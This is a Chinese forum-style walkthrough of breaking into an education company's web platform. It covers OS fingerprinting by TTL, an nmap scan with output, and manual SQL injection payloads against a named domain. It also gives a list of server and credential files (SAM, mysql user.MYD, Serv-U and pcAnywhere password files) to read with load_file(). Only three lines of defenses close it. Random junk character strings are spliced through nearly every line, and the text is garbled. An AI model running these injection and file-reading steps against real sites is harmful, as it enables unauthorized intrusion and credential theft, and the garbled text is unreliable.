题记:! F9 P8 u7 }5 E; T
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
- h9 u9 O9 |6 b8 U第一步:获取需要的信息9 ^8 {% {) }5 K9 a
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。6 n9 \+ C7 E9 U5 n" p; ?" f
注:以下为保护特用XXX代替敏感信息
5 P4 O; \9 o* l5 b/ Z) Y- S4 ]( b顺手先PING了一下他们的域名:
* D- [: C- g+ B. S0 bping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名); ~- r9 B$ q5 [! `* j! c! ?3 c; ^
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms. s; c0 W: p; T; O# g2 F0 T, R8 V
顺便了解一下TTL,学好基础知识才能一路顺风:
& [ x0 q) `" vTTL:(Time To Live ) 生存时间
! c% w. U" M& H' j" T; }7 C4 n9 ?指定数据包被路由器丢弃之前允许通过的网段数量。* V2 ~( [7 [: w/ x! \; k! V9 d
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
( D3 l5 E: J! b* h3 B; S8 L使用PING时涉及到的 ICMP 报文类型. G0 ^6 i# J8 _. g! H
一个为ICMP请求回显(ICMP Echo Request)2 m4 C' }# W4 _
一个为ICMP回显应答(ICMP Echo Reply)
6 X3 ?, C" n7 a1 q X, C! u) ]6 ?TTL 字段值可以帮助我们识别操作系统类型。
+ C3 E$ D- D% [1 B0 mUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255; M: C8 C y7 y+ d3 D
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64; A+ s( {/ [! ] p
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
" l( D, y: o8 {# }9 q7 Q8 C微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32! r, I, r4 T8 H6 ?9 a
当然,返回的TTL值是相同的
1 ?8 B! {, e8 \ W/ `) a但有些情况下有所特殊
# N: [1 I% u9 E% `5 sLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
6 p& t, I% _) N0 uFreeBSD 4.1, 4.0, 3.4;
! [8 ^1 m) ~. WSun Solaris 2.5.1, 2.6, 2.7, 2.8;6 W* Z$ @# [/ E
OpenBSD 2.6, 2.7,
+ s6 h+ D/ ^8 M) x7 lNetBSD
) C3 O% h, w8 W* C9 u9 p* I [ OHP UX 10.204 {+ T3 v! S. Q# W
ICMP 回显应答的 TTL 字段值为 255
6 x* w {; R( y- r7 x2 ]Windows 95/98/98SE
: s8 Q- S# C6 `5 U2 g/ zWindows ME
$ {' ^, L- s5 e6 l T! xICMP 回显应答的 TTL 字段值为 32
+ M# |, Y" D y3 @% eWindows NT4 WRKS, G$ E1 k- U; w% z+ @6 w; [
Windows NT4 Server
& b. t" j& O- s$ iWindows 20000 a! T S s& J& e
Windows XP9 x# b# c9 U1 W. x
ICMP 回显应答的 TTL 字段值为 1285 n. u: y( B- V6 w: w) B# r3 q0 C9 h' S
这样,我们就可以通过这种方法来辨别操作系统
$ Y4 E* Z6 v# Z" KTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2556 ~! d# k% n( l; f
用NMAP扫描一下: `: P& N6 {! y2 W+ Z
nmap -sT -O XXX.XXX.XXX.XXX2 w9 U C4 N' a5 F( ?
如果没有装WinPcap则会弹出提示:
6 v/ f0 z$ V4 Q# s' c3 [' |WARNING: Could not import all necessary WinPcap functions. You may need to upgr3 z6 m% u+ i8 s1 Z
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
7 @) N+ }; Y+ h4 N' X) mode — Nmap may not function completely+ y$ z4 c$ _; l; n/ r
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher+ ~+ P( \( x3 p# a4 Y8 J! a
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win- E% J* p) ], \1 t
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an6 F/ ^) M/ P0 o
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
: O, K* V3 B6 T# @3 ~; A( Z/ Jersions, you may be able to take iphlpapi.dll from another system and place it i* F* g) M" k$ B6 {+ `: h. q4 C ^
n your system32 dir (e.g. c:\windows\system32).: T k, R- v7 s+ p8 G1 B5 P4 ^+ k
QUITTING!) v6 l) `7 ?) ]1 ]
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
$ x5 I3 h. z1 Q/ M2 s' c6 w安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
: Y& q* C1 ^7 W3 U8 O) ZInteresting ports on XXX.XXX.XXX.XXX:
3 _8 z! g* L4 @0 xNot shown: 986 closed ports: S# _! S7 ~- q. U& B
PORT STATE SERVICE3 Z+ d' H6 `3 v+ {8 F
21/tcp open ftp8 b9 q% e9 ]+ |& X s! I* m
22/tcp open ssh
, u, Q8 ~- V+ L; e/ i23/tcp open telnet
2 U' O9 D7 y& l- o* `5 l6 a+ F# j80/tcp open http) J7 L! v* }9 c5 P- Z( x
111/tcp open rpcbind
0 s1 B4 Y2 v1 N# U" d! z135/tcp filtered msrpc# A! Y( y: K6 H$ I5 J9 z
139/tcp filtered netbios-ssn
* J5 Z2 s' P! j* J445/tcp filtered microsoft-ds/ H( U9 D' D; \/ x6 r) ` S
513/tcp open login
7 m% D* G* n$ D, ]& L4 M514/tcp open shell8 m/ ^# s( v, l8 {9 o) u
593/tcp filtered http-rpc-epmap
, p2 O# Y% C0 P& ?4 m1720/tcp filtered H.323/Q.931; ~% ]& p3 y+ m: ^
3306/tcp open mysql
( M; [9 j8 N9 z6 P A4444/tcp filtered krb524
* R( ?; _4 s" u( }! WDevice type: WAP" g! P, P( j& `0 W7 N# N
Running: Linux 2.4.X3 N* g: \* r+ Q. r! k9 ~( y& \+ Q
OS details: DD-WRT (Linux 2.4.35s)
+ v" O% s2 N5 g4 {# E2 L% ONetwork Distance: 13 hops3 k3 o& b6 ~; r
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
- i7 C2 \( \: @login as:
6 l8 I- w# J& a0 c9 ]3 O; l; ~: PTelnet23端口也是开着的,用telnet 命令链接一下:8 i" E; H( t1 G
telnet XXX.XXX.XXX.XXX
% M- P3 h1 [5 h( K6 c' E% b+ ^提示:
8 \7 N0 e8 m: q: ~& s5 H, h# E0 X0 DRed Hat Enterprise Linux Server release 5.2 (Tikanga)
% i% b2 ]3 ~( ^, w! fKernel 2.6.18-92.el5PAE on an i686# h- q/ P$ i/ x+ Z! k
login:# n$ t# j+ o9 i) q
获取HTTP头信息:" @7 X2 z7 Q5 r; e
在本地执行如下PHP代码
6 Y& }2 b* a8 T; f<?php
5 j" W) j6 N: V) J! s& q, V; T* D$url = ‘XXX.XXX.XXX.XXX’;! e# R% r- t% x) x5 S% v
print_r(get_headers($url));, N2 a4 P6 F. K* V6 i+ M c
print_r(get_headers($url, 1));# L$ _ N# s+ H" P# ?
?>
7 M6 T$ Z- p* V4 Z @将以上代码保存为PHP文件,执行:- p5 E( u8 U2 e2 r
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )( R( }9 A* L7 t7 z
现在可以得出结论:
5 O: E" @* Y7 w; l+ ~7 q系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)3 d1 s. ]! {" E% M
内核版本:Kernel 2.6.18-92.el5PAE on an i686" A% }( z7 S% G3 _
WEB服务器版本:nginx/0.7.615 a' G- ~0 V5 d2 n) u- q
第二步,开始测试寻找漏洞" r; n8 N6 l" ?* K9 a
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
9 l1 a" h0 d6 I1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的8 m7 f( x' Q5 K2 w
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
% z' j4 c$ R5 u! j" ~8 Ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
0 C! H! p. x3 o* O5 [http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误& x, B# \# e+ @( C
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
, n) h0 Z( s7 G! R( L! `. b3、手工注入:$ L2 h6 A7 P0 t) h4 w
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。- I6 I+ ~4 ^) @0 {4 h. w! P/ N" J
3.1 猜测当前表字段数% i8 }) D5 g% T; K
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
$ Z, Y, @ Q4 ^1 Q0 j& D% k此处猜测有个简单的算法,都是有技巧的吗,呵呵
$ o+ \7 S' l- ?算法简单如下:
# ^4 g! r) f2 s第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
# u1 ~; D$ D# Q9 \. [' z第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
8 t( X+ m4 V( w" z* Y需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。7 c* B* l! R% S1 L
以此来判断,是否过界,配合取中算法猜出字段数。/ G2 r$ Z; E+ b4 D+ o' z
举例:
: G8 J) e, X l* H9 U" _2 rhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常3 T3 j9 I0 ^# p, \+ ~: x& H" K; V- f
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误: m& w0 h( W; J4 U/ |7 b/ n" ~$ L* I
此时3则为我们要找的字段数。+ E" X3 c3 K+ w9 q% P1 C
3.2 配合union联合查询字段在页面所位置
* C* i% P& E7 X8 W {- l9 G我们已经知道了字段数为3,此时则可以做如下操作:
' I& Z3 f8 l7 A& F, D2 yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3& s3 x4 x9 H6 }! U# @5 \$ T- q' ^
' Q% u6 N( S+ Q* Q8 @
这样就可以测试到哪些字段在页面上有所显示了,如图:
/ ]' J/ B. z9 Y$ h M: w
8 ` c/ `& N% ^( j9 s- b3.3 查敏感信息& ]2 R9 |6 k8 R
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。+ H( K6 V- h' U. s+ F
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()3 z8 w( ^# H0 R) k
3.3.1 先查数据库用户、数据库名,以备后用,如图:
h l/ n: m3 i: e( y6 M
0 ]; }! ?# `$ |5 b得到数据库用户为root、数据库名为DBxx;4 Y6 A, _. H/ t6 G9 w
3.3.2 查配置文件
- ~4 Y# l- @) @1 G2 ]& @查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
5 x( v" W2 u6 ~8 t) R- m查看文件有一定的条件限制:( ^+ T5 G7 _9 F% W
欲读取文件必须在服务器上
. J! o( T$ k; N. `" Y( B; [必须指定文件完整的路径
! c) R V; J1 G' w3 k6 d$ Q0 f必须有权限读取并且文件必须完全可读% c- p6 F7 ? { Q2 s% T# U* L' @
欲读取文件必须小于 max_allowed_packet
7 p4 C# G3 r6 u; q: e) qMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。$ T8 q/ l1 D J! \8 Y1 W
常用的一些:5 v2 _4 f6 R% x2 k! O
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
, b# S8 x6 i1 K/usr/local/apache2/conf/httpd.conf
5 \; U2 l3 N( S3 r1 @/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: O! Z% N* Q( e8 [$ j/usr/local/app/php5/lib/php.ini //PHP相关设置9 f2 G2 y" T2 _3 K1 K; `
/etc/sysconfig/iptables //从中得到防火墙规则策略) ^/ m3 s6 `. H1 g" K1 x7 r* N
/etc/httpd/conf/httpd.conf // apache配置文件- I0 ]+ n5 y! R4 U
/etc/rsyncd.conf //同步程序配置文件
4 Y3 Y* v& |3 b0 q' T1 k( |, I) F3 R/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.! R7 s* @7 K3 y: D
/etc/my.cnf //mysql的配置文件* K4 _1 I( D( v
/etc/redhat-release //系统版本
- ]" d) m' N. @% n2 X, O* O/etc/issue: ]5 [' Q; ~% B$ V
/etc/issue.net- h4 q4 Q5 h4 s! ~% p
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码. I) L# F7 f m3 M; ^9 s
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码7 O; }, Y/ N' ?' o' r5 `# v: @9 k
c:\Program Files\Serv-U\ServUDaemon.ini+ i6 i A. L2 u8 l4 G
c:\windows\my.ini //MYSQL配置文件7 Q: @: d) h, ?3 c
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件& ~4 q+ W, u7 B3 X6 z4 Q
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,1 o) w. ]. p) j' N- \
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码6 a* s5 I! B a4 Q% R
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此7 w! B0 R) t$ ^: p, ^
c:\Program Files\RhinoSoft.com\ServUDaemon.exe( R" `: i5 B# Y. w6 ]
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件- B- G9 k; O! a2 U) j
//存储了pcAnywhere的登陆密码# } k; D% f$ v0 l+ Y T
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。5 i: u0 B( r( S' t9 r# j) L' k
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
7 V3 e. J6 M0 D1 c) d3 E6 p最后:防范措施
" y$ Z, ?2 K$ J- X5 X" X+ y# `1、修复PHP注入漏洞;
. {) J1 S1 D. R& k$ k2、Mysql使用普通权限的用户;0 G9 G6 ^$ _8 S: }. @% S3 p, X
3、升级linux内核至最新版本; |